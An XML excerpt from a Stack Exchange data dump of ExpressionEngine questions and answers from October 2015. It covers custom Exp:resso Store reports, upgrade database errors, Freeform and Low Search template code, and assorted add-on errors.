  <row Id="34514" PostTypeId="1" AcceptedAnswerId="34526" CreationDate="2015-10-26T15:03:57.127" Score="2" ViewCount="163" Body="&lt;p&gt;The documentation suggests that you should be able to (fairly easily) create a custom report type and add it to the Exp:resso Store Reports section. But beyond the hook &lt;code&gt;$reports = ee()-&amp;gt;extensions-&amp;gt;call('store_reports', $reports);&lt;/code&gt; I can find no other documentation on how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following my nose I have created a new extension to tap into the hook and have added a new record to the reports array, (however there is no way in the new Class to assign what the Report Name and Description should be - this seems to be embeded in the translation files - which I am little concerned will be overwritten when performing an upgrade).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vLww0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vLww0.png&quot; alt=&quot;New report in list&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get a good working base for my new report I've just copied an existing report, however when clicking through to view my report I can't prevent the error &quot;Fatal error: Class '\Expresso_store_add_location_reports_ext\LocationReports' not found in /path/from/server/root/expressionengine/third_party/store/src/Cp/ReportsController.php on line 56&quot; from appearing. I've tried adding my new report to the Store/src/Report folder, but the same error appears there too.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vFTom.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vFTom.png&quot; alt=&quot;Reports Array and Class Error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm clearly doing something quite wrong here, but in the absence of any documentation I'm at a loss as to how to proceed. Any pointers very much appreciated, thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Full Extension File:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * Expresso_store_add_location_reports Class&#xA; */&#xA;&#xA;class Expresso_store_add_location_reports_ext &#xA;{&#xA;&#xA;    var $name           = 'Expresso Store - Add location reporting';&#xA;    var $version        = '1.0';&#xA;    var $description    = 'Shows a new report type to sort by location';&#xA;    var $settings_exist = 'n';&#xA;    var $docs_url       = ''; // 'https://ellislab.com/expressionengine/user-guide/';&#xA;&#xA;    var $settings       = array();&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   mixed   Settings array or empty string if none exist.&#xA;     */&#xA;    function __construct($settings = '')&#xA;    {&#xA;        $this-&amp;gt;settings = $settings;&#xA;&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    }&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Activate Extension&#xA;     *&#xA;     * This function enters the extension into the exp_extensions table&#xA;     *&#xA;     * @see https://ellislab.com/codeigniter/user-guide/database/index.html for&#xA;     * more information on the db class.&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    public function activate_extension()&#xA;    {&#xA;        $this-&amp;gt;settings = array(&#xA;&#xA;        );&#xA;&#xA;&#xA;        $data = array(&#xA;            'class'     =&amp;gt; __CLASS__,&#xA;            'method'    =&amp;gt; 'add_location_reports',&#xA;            'hook'      =&amp;gt; 'store_reports',&#xA;            'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority'  =&amp;gt; 10,&#xA;            'version'   =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'   =&amp;gt; 'y'&#xA;        );&#xA;&#xA;        ee()-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;    }&#xA;&#xA;    /**&#xA;     * Update Extension&#xA;     *&#xA;     * This function performs any necessary db updates when the extension&#xA;     * page is visited&#xA;     *&#xA;     * @return  mixed   void on update / false if none&#xA;     */&#xA;    public function update_extension($current = '')&#xA;    {&#xA;        if ($current == '' OR $current == $this-&amp;gt;version)&#xA;        {&#xA;            return FALSE;&#xA;        }&#xA;&#xA;        if ($current &amp;lt; $this-&amp;gt;version)&#xA;        {&#xA;            // Update to version 1.0&#xA;        }&#xA;&#xA;        ee()-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;        ee()-&amp;gt;db-&amp;gt;update(&#xA;                    'extensions',&#xA;                    array('version' =&amp;gt; $this-&amp;gt;version)&#xA;        );&#xA;    }&#xA;&#xA;    /**&#xA;     * Disable Extension&#xA;     *&#xA;     * This method removes information from the exp_extensions table&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    public function disable_extension()&#xA;    {&#xA;        ee()-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;        ee()-&amp;gt;db-&amp;gt;delete('extensions');&#xA;    }&#xA;&#xA;&#xA;    public function add_location_reports($reports)&#xA;    {&#xA;        // call the development log?&#xA;&#xA;        $reports[&quot;location_summary&quot;] = &quot;\Expresso_store_add_location_reports_ext\LocationReports&quot;;&#xA;&#xA;        echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        print_r($reports);&#xA;        echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&#xA;        return $reports;        &#xA;    }&#xA;&#xA;    public function options()&#xA;    {&#xA;        return $this-&amp;gt;options;&#xA;    }&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Usage&#xA;     *&#xA;     * This function describes how the plugin is used.&#xA;     *&#xA;     * @access  public&#xA;     * @return  string&#xA;     */&#xA;    public static function usage()&#xA;    {&#xA;        ob_start();  ?&amp;gt;&#xA;&#xA;        This plugin should add a location report to the reports area.&#xA;&#xA;        &amp;lt;?php&#xA;        $buffer = ob_get_contents();&#xA;        ob_end_clean();&#xA;&#xA;        return $buffer;&#xA;    }&#xA;    // END&#xA;}&#xA;/* End of file pi.expresso_store_most_popular_items.php */&#xA;/* Location: ./system/expressionengine/third_party/expresso_store_add_location_reports/ext.expresso_store_add_location_reports.php */&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My new Report file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/*&#xA; * Exp:resso Store module for ExpressionEngine&#xA; * Copyright (c) 2010-2014 Exp:resso (support@exp-resso.com)&#xA; */&#xA;&#xA;namespace Store\Report;&#xA;&#xA;use Store\DateTime;&#xA;use Store\Model\Order;&#xA;use Store\Model\OrderItem;&#xA;&#xA;class LocationReports extends AbstractReport&#xA;{&#xA;    public function default_options()&#xA;    {&#xA;        return array(&#xA;            'from' =&amp;gt; array('type' =&amp;gt; 'month_select', 'default' =&amp;gt; -12),&#xA;            'to' =&amp;gt; array('type' =&amp;gt; 'month_select', 'default' =&amp;gt; -1),&#xA;        );&#xA;    }&#xA;&#xA;    public function run()&#xA;    {&#xA;&#xA;    }&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastActivityDate="2017-08-23T14:24:12.747" Title="Exp:resso Store Add a new Custom Report" Tags="|expresso-store|extension|reports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34515" PostTypeId="1" CreationDate="2015-10-26T16:11:48.357" Score="1" ViewCount="482" Body="&lt;p&gt;I’m trying to update from Expression Engine 2.5.5 to 2.10.1 and I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1048&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Column ‘field_id_14’ cannot be null&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;UPDATE &lt;code&gt;exp_channel_data&lt;/code&gt; SET &lt;code&gt;field_id_14&lt;/code&gt; = NULL&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: D:\EE_directory\system\codeigniter\system\database\DB_driver.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 382&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6604" LastActivityDate="2017-02-16T15:46:38.530" Title="updating from 2.5.5 to 2.10.1, ERROR 1048 Column ‘field_id_14’ cannot be null" Tags="|error|ee2-upgrades|codeigniter|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34516" PostTypeId="2" ParentId="34512" CreationDate="2015-10-26T17:00:11.760" Score="0" Body="&lt;p&gt;You can use the Distance filter parameters as regular parameters on the Results tag, so that shouldn't be an issue. You might encounter some parse order issues with using tags as another tag's parameter value, but you could work around that with using an embed.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-26T17:00:11.760" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34517" PostTypeId="1" CreationDate="2015-10-26T17:53:40.550" Score="0" ViewCount="42" Body="&lt;p&gt;I am using Google Maps for EE in a site that shows rental properties. On each property's listing page (the page that shows one specific property), the client would like to have a Google Map that shows all properties but highlight the one the customer is viewing. They would also like to have their office populated on the map and have a unique icon for that marker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, each property will have a map with 60 pins but two of those need to be custom icons. The others can be the default Google Map icons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this add-on allow that functionality?&lt;/p&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2015-12-03T18:26:47.863" Title="Custom Icons per Channel Entry on Google Map" Tags="|google-maps-for-ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34518" PostTypeId="1" CreationDate="2015-10-26T18:07:19.510" Score="0" ViewCount="453" Body="&lt;p&gt;I must be missing something, but I can't figure out how to make a text field required using Freeform Pro. Thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="6787" LastActivityDate="2022-01-16T08:03:35.347" Title="How to make a Freeform text field required" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34519" PostTypeId="2" ParentId="34518" CreationDate="2015-10-26T18:24:48.873" Score="0" Body="&lt;p&gt;A quick sweep of them 'ol documentation thingies gives you the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/form/#required&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://solspace.com/docs/freeform/form/#required&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the required parameter when outputting your form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    form_name=&quot;contact_form&quot;&#xA;    required=&quot;name|email&quot;}&#xA;&#xA;    Form stuff goes here.&#xA;&#xA;{/exp:freeform:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; If you are using the Composer tool, see this answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15183/freeform-pro-composer-require-field&quot;&gt;FreeForm Pro Composer require field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-10-26T18:24:48.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34520" PostTypeId="2" ParentId="34515" CreationDate="2015-10-26T18:38:33.860" Score="1" Body="&lt;p&gt;Have you identified which field is id 14?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can by looking at table &lt;code&gt;exp_field-types&lt;/code&gt; or by looking at your field-groups inside the CP. Once you figure out the field in question, that may give you a clue. If unused, you can try getting rid of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can change the &lt;strong&gt;NULLs to &quot;&quot;&lt;/strong&gt; by running the following Query (backup your table before doing this, just in case):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_id_14 = &quot;&quot; WHERE field_id_14 = NULL.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="3579" LastEditDate="2017-02-16T15:46:38.530" LastActivityDate="2017-02-16T15:46:38.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34521" PostTypeId="1" AcceptedAnswerId="34628" CreationDate="2015-10-26T19:44:50.050" Score="0" ViewCount="120" Body="&lt;p&gt;I have created a custom member field in the CP and set it to &quot;required&quot;, &quot;show in registration&quot; and &quot;show in profile&quot;. However, it doesn't show up in the form when I register a new member in the CP and it doesn't show up in their profile when I go to edit a member. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that the field was created correctly because it is in the exp_member_fields table. Am I doing something wrong that it is not in the form to register anyone and that I can create a new member without filling out that field? I am not using any plugins currently (developing a new site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help anyone can give!  &lt;/p&gt;&#xA;" OwnerUserId="1138" LastActivityDate="2015-11-04T18:22:00.733" Title="EE3.0 - custom member field not showing up in registration form in CP" Tags="|members|ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34524" PostTypeId="2" ParentId="34487" CreationDate="2015-10-26T22:31:25.630" Score="0" Body="&lt;p&gt;My first guess was that there was something weird with field names or instructions, and maybe accidentally unclosed HTML tags, that was causing this. But if the word &quot;schedule&quot; isn't otherwise associated with the page, I don't see how that could be it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second guess would be something browser-based, such as an autocomplete add-on or something similar. Have you tried using a different browser, and/or a different computer?&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2015-10-26T22:31:25.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34526" PostTypeId="2" ParentId="34514" CreationDate="2015-10-27T09:16:51.513" Score="2" Body="&lt;p&gt;It's not a file path, but a class path. In this function: &lt;code&gt;add_location_reports&lt;/code&gt;, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$reports[&quot;location_summary&quot;] = &quot;\Expresso_store_add_location_reports_ext\LocationReports&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$reports[&quot;location_summary&quot;] = '\Store\Report\LocationReports';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe you also have to load the class before returning the variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$path = rtrim(dirname(__FILE__), '/') . &quot;/LocationReports.php&quot;;&#xA;if (is_file($path)) {&#xA;    require $path;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alas I've not found a way to set the name and description outside of Store, so have manually added the following entries to the language/english/store_lang.php file in the store module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'store.reports.location_summary' =&amp;gt; 'My Custom Title',&#xA;'store.reports.location_summary_desc' =&amp;gt; 'My Custom Description',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-10-27T11:02:21.140" LastActivityDate="2015-10-27T11:02:21.140" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34527" PostTypeId="1" AcceptedAnswerId="34530" CreationDate="2015-10-27T13:41:52.200" Score="0" ViewCount="708" Body="&lt;p&gt;So, trying to delete an entry .. after the &quot;ARE YOU SURE?&quot;-page and the click on delete, I get the following error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else had this problem?&#xA;I'm afraid of mySQL, so this is freaking me out :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1064&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DELETE FROM &lt;code&gt;exp_channel_entries_autosave&lt;/code&gt; WHERE &lt;code&gt;original_entry_id&lt;/code&gt; IN ()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/api/Api_channel_entries.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 490&lt;/p&gt;&#xA;" OwnerUserId="6414" LastActivityDate="2015-10-27T14:39:38.623" Title="A Database Error Occurred Error Number: 1064 when Trying to delete an entry.." Tags="|error|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34528" PostTypeId="1" CreationDate="2015-10-27T14:02:23.410" Score="0" ViewCount="164" Body="&lt;p&gt;Getting this message whenever I try to do anything with field-types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was a 2.6.1 installation, I’ve tried updating to 2.10.1, but I get exactly the same error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve tried all the common solutions I can think of, here is the exp_fieldtypes table in my DB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 select 1.0 YTowOnt9 n&#xA;2 text 1.0 YTowOnt9 n&#xA;3 textarea 1.0 YTowOnt9 n&#xA;4 date 1.0 YTowOnt9 n&#xA;5 file 1.0 YTowOnt9 n&#xA;6 multi_select 1.0 YTowOnt9 n&#xA;7 checkboxes 1.0 YTowOnt9 n&#xA;8 radio 1.0 YTowOnt9 n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can’t even get into addons - &gt; Field types as it just throws this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing using a relationship field anywhere as far as I can see. I’ve searched the entire codebase for any reference to ft.rel.php and ft.rel and I can’t find any references to it anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume it must be been referenced the DB somewhere but I can’t see it anywhere unless it is encrypted data somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I can’t edit or change anything to do the with channel fields or this error comes up when I even try and view them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! I’m at my wits end trying to find a solution here!&lt;/p&gt;&#xA;" OwnerUserId="998" LastEditorUserId="998" LastEditDate="2015-10-27T14:09:15.913" LastActivityDate="2016-06-11T17:14:04.153" Title="Unable to load requested field type file: ft.rel.php Tried all fixes listed" Tags="|ee2|ee2-upgrades|ee|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34529" PostTypeId="1" CreationDate="2015-10-27T14:06:57.717" Score="1" ViewCount="220" Body="&lt;p&gt;If I run DevDemon Updater 3.3.0 on EE 2.10.1 and set php version to 5.6 I get this block of errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I uninstall DevDemon Updater 3.3.0, or if I set php back to 5.5 the errors go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grateful for any advice on what to do about this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: Non-static method Updater_helper::arrayExtend() should not be called statically, assuming $this from incompatible context&#xA;&#xA;Filename: updater/api.updater.php&#xA;&#xA;Line Number: 109&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: Non-static method Updater_helper::getThirdPartyPath() should not be called statically, assuming $this from incompatible context&#xA;&#xA;Filename: updater/api.updater.php&#xA;&#xA;Line Number: 132&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: Non-static method Updater_helper::getThemePath() should not be called statically, assuming $this from incompatible context&#xA;&#xA;Filename: updater/api.updater.php&#xA;&#xA;Line Number: 133&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: Non-static method Updater_helper::getThirdPartyThemePath() should not be called statically, assuming $this from incompatible context&#xA;&#xA;Filename: updater/api.updater.php&#xA;&#xA;Line Number: 134&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /var/sites/v/v8a.2gc.org/public_html/_sitemanager/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: core/Common.php&#xA;&#xA;Line Number: 475&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2015-10-27T14:06:57.717" Title="Help with DevDemon Updater 3.3.0 giving PHP error with php 5.6" Tags="|devdemon-updater|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34530" PostTypeId="2" ParentId="34527" CreationDate="2015-10-27T14:39:38.623" Score="0" Body="&lt;p&gt;Found the answer by doing things in ee... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here it is:&#xA;If you don't have a channel field group with a channel field in it associated with the channel.. it gives you this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now you know :)&lt;/p&gt;&#xA;" OwnerUserId="6414" LastActivityDate="2015-10-27T14:39:38.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34531" PostTypeId="2" ParentId="34528" CreationDate="2015-10-27T14:41:28.753" Score="0" Body="&lt;p&gt;Solved, our sys admin did a s-trace on the php process and found it was looking for the file in 3 weird folders......&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/fieldtypes/rel/ft.rel.php&#xA;system/expressionengine/third_party/12/ft.rel.php&#xA;system/expressionengine/modules/rel/ft.rel.php &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copying the ft.rel.php file to the first one fixed it. No idea why it was looking there for it, we've never had anything at all living there..... No in fieldtypes I can see the two relationship(s) fieldtypes there, both uninstalled...... if they are uninstalled why is it looking for the files! :&lt;/p&gt;&#xA;" OwnerUserId="998" LastActivityDate="2015-10-27T14:41:28.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34532" PostTypeId="1" AcceptedAnswerId="34540" CreationDate="2015-10-27T15:24:58.713" Score="0" ViewCount="132" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;store:price&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;PRICE&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;|10&quot;{if low_search_store:price == &quot;|10&quot;} selected{/if}&amp;gt;up to $10&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;10|25&quot;{if low_search_store:price == &quot;10|25&quot;} selected{/if}&amp;gt;$10 to $25&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;25|50&quot;{if low_search_store:price == &quot;25|50&quot;} selected{/if}&amp;gt;$25 to $50&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;50|100&quot;{if low_search_store:price == &quot;50|100&quot;} selected{/if}&amp;gt;$50 to $100&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;100|&quot;{if low_search_store:price == &quot;100|&quot;} selected{/if}&amp;gt;$100 and up&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great, when the search form is submitted, it returns the results with the price select selected based on the query in segement 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to be able to search based on color, that value is stored in the products channel custom field: cf_product_color and not as a store modifier.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;search:cf_product_color&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;COLOR&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;red&quot; {if search:cf_product_color==&quot;red&quot;} selected{/if}&amp;gt;Red&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;orange&quot; {if search:cf_product_color==&quot;orange&quot;} selected{/if}&amp;gt;Orange&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work, when I select a color (I know the color exists in that custom field: cf_product_color for entries) and it does not select the color from the select color drop down after submitting like it does for the price select drop-down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads me to think I need to create a collection since I have a price, color select dropdowns making it 2 pieces of data I am searching for. Is this the case?&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2015-10-27T16:16:21.777" Title="Select dropdown after low search form selected for custom channel field" Tags="|expresso-store|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34533" PostTypeId="1" CreationDate="2015-10-27T15:27:14.680" Score="1" ViewCount="84" Body="&lt;p&gt;Images were working in EE's native File Manager, but were blank in Assets. I checked all the usual suspects, reindexed them with native EE File Manager and Assets, but the problem persisted. Andris at &lt;a href=&quot;http://pixelandtonic.com&quot; rel=&quot;nofollow&quot;&gt;Pixel &amp;amp; Tonic&lt;/a&gt; pointed to the problem.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-10-27T15:27:14.680" Title="Missing thumbnails in Assets" Tags="|assets|pixelandtonic|file-manager|thumbnails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34534" PostTypeId="2" ParentId="34533" CreationDate="2015-10-27T15:27:14.680" Score="2" Body="&lt;p&gt;It turns out my database.php file had an extra blank line at the beginning.&#xA;(see that extra line?) And this was corrupting output in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oZG22.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oZG22.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any php file that is included (called by the main php file) needs to have the opening php tag on the first line! Otherwise bad things will happen.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-10-27T15:27:14.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34535" PostTypeId="1" CreationDate="2015-10-27T15:32:59.420" Score="0" ViewCount="30" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/167Sn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/167Sn.png&quot; alt=&quot;Print Button&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to work out what the best way to edit the layout of the Order Print View is so that it can fit with my clients Packing Slip Paper (it has special sticker areas for the shipping address etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In earlier versions of Store there was a PDF view that I have been able to edit, but since 2.4.0 this has been replaced with an HTML print view. This HTML view seems to be the main display template with print CSS applied. I'm always lothe to start editing core files, so any pointers much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2015-10-28T09:41:34.037" Title="Exp:resso Store - Customise Admin Order Print View" Tags="|expresso-store|templates|orders|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34536" PostTypeId="1" AcceptedAnswerId="34538" CreationDate="2015-10-27T15:35:44.240" Score="0" ViewCount="66" Body="&lt;p&gt;I have a simple keyword search, I would like for items with a match in the title to come up at the top of results. From reading other posts, it sounds like sorting by relevance is the default behavior for the results tag. I have my title weighted at 3 and all other searchable fields weighted at 1 and am not getting this result. I've upped the modifier, but haven't seen any effect. I'm looking for ways to troubleshoot this.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2015-10-27T16:03:23.817" Title="Troubleshooting relevance in Low Search" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34537" PostTypeId="1" CreationDate="2015-10-27T15:39:09.687" Score="3" ViewCount="233" Body="&lt;p&gt;I'm running Channel Images 5.4.18 with EE2.9.2. I'm working on a copy on a development server doing updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to regenerate an image size, I'm getting error messages like this, and it won't regenerate the images:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message:&#xA;  copy(/chroot/home/account/primarydomain.com/html/secondary/system/expressionengine/cache/channel_images/imagefilename.jpg):&#xA;  failed to open stream: No such file or directory&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: local/local.php&#xA;  Line Number: 111&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know how CI operates (obviously!) but I'm wondering why it would be looking in the cache for the images? This directory it's looking in doesn't exist, and it seems strange that it would look in a cache folder, which can be cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2218" LastEditorUserId="2218" LastEditDate="2015-10-28T02:55:56.097" LastActivityDate="2018-01-23T10:07:18.393" Title="Channel Image regeneration error" Tags="|devdemon|channel-images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
